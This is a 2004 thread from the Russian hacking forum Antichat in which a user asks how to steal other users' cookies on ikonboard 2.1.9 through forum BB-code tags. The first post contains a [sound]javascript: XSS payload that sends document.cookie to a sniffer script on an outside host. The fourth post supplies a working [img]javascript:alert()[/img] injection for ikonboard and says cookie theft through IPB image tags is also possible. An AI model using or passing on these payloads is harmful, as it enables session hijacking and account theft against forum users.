ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
Перезагрузить страницу Вопрос про ikonboard 2.1.9 (Как передать снифферу данные и куки пользователя )
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Вопрос про ikonboard 2.1.9 (Как передать снифферу данные и куки пользователя )
  #1  
Старый 18.08.2004, 12:23
Аватар для Toshik
Toshik
Новичок
Регистрация: 21.06.2004
Сообщений: 11
Провел на форуме:
41885

Репутация: 0
По умолчанию Вопрос про ikonboard 2.1.9 (Как передать снифферу данные и куки пользователя )
Algol помоги разобраться в том,как передать снифферу данные и куки пользователя !!! Там тега video нет,зато есть тег sound !!! Ну и ладно пробую так
[sound]javascript: document.body.background=" http://antichat.ru/cgi-bin/s.jpg?"+d...cument.cookie; document.embeds[0].style.display="none";this.wav[/sound]
и нечего текст даже не преобразуется и не скрывается !!!
Пробую добавить картинку так - прокатывает, но на сниффер не передаются куки !!! Подскажи что можно сделать !!! И вообще насколько я понял если на форуме на движке ikonboard даже самом последнем нет тегов [video] и [sound] то передать данные снифферу можно только через тег [image], это правда ???
P.S Вопрос не только к Algol'у но и ко всем знающим
 
Ответить с цитированием

  #2  
Старый 18.08.2004, 14:40
Аватар для Algol
Algol
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме:
2050916

Репутация: 0


По умолчанию
Уязвимости в BB тегах video и sound прокатывают только в форумах IPB ...Разве там что то говорится про ikonboard ?
В иконе я знаю только уязвимость в теге img (можно вставить javascript:...) и то, не во всех версиях.
 
Ответить с цитированием

  #3  
Старый 18.08.2004, 15:45
Аватар для Toshik
Toshik
Новичок
Регистрация: 21.06.2004
Сообщений: 11
Провел на форуме:
41885

Репутация: 0
По умолчанию
Ой изивини ошибся !!! А ты не в курсе в IPB через [img] ведь тоже можно вставить ссылку на ваш сниффер чтобы и куки тырил ?!!
Расскажи о том как вставить javascript: в ikonboard пожалуйста !!!
P.S заранее благодарен
 
Ответить с цитированием

  #4  
Старый 18.08.2004, 17:59
Аватар для Algol
Algol
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме:
2050916

Репутация: 0


По умолчанию
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Toshik @ августа 18 2004,15:45)</td></tr><tr><td id="QUOTE">Расскажи о том как вставить javascript: в ikonboard пожалуйста !!![/QUOTE]<span id='postcolor'>
очень просто [img]javascript:alert()[/img]
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE">Ой изивини ошибся !!! А ты не в курсе в IPB через [img] ведь тоже можно вставить ссылку на ваш сниффер чтобы и куки тырил ?!!
[/QUOTE]<span id='postcolor'>
Ссылку на сниффер можно вставить, а что бы куки тырил - тоже можно, только намного сложнее &nbsp;:D
(как &nbsp;- не скажу... это пока ноу хау)
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
ЕсТь ВоПрос Guma Чаты 4 26.10.2005 21:48
Аудит аутентификации на Web-сайтах. Часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:20
Проверка надежности Web-приложений. Часть Третья k00p3r Чужие Статьи 0 13.06.2005 11:17



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ